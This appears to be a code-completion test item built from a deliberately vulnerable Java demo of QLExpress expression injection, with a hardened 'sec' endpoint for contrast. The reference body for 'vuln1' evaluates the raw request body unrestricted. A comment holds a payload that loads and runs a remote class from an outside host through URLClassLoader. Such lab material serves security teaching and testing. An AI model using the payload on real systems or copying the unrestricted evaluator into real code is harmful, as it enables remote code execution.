class QLExpress {

    /**
     * url = 'http://sb.dog:8888/';
     * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);
     * classLoader.loadClass('Hello').newInstance();
     */
    @RequestMapping("/vuln1")
    public String vuln1(HttpServletRequest req) throws Exception{<FILL_FUNCTION_BODY>}

    @RequestMapping("/sec")
    public String sec(HttpServletRequest req) throws Exception{
        String express = WebUtils.getRequestBody(req);
        System.out.println(express);
        ExpressRunner runner = new ExpressRunner();
        QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
        // Can only call java.lang.String#length()
        QLExpressRunStrategy.addSecureMethod(String.class, "length");
        DefaultContext<String, Object> context = new DefaultContext<String, Object>();
        Object r = runner.execute(express, context, null, true, false);
        System.out.println(r);
        return r.toString();
    }
}

        String express = WebUtils.getRequestBody(req);
        System.out.println(express);
        ExpressRunner runner = new ExpressRunner();
        DefaultContext<String, Object> context = new DefaultContext<String, Object>();
        Object r = runner.execute(express, context, null, true, false);
        System.out.println(r);
        return r.toString();
    
<no_super_class>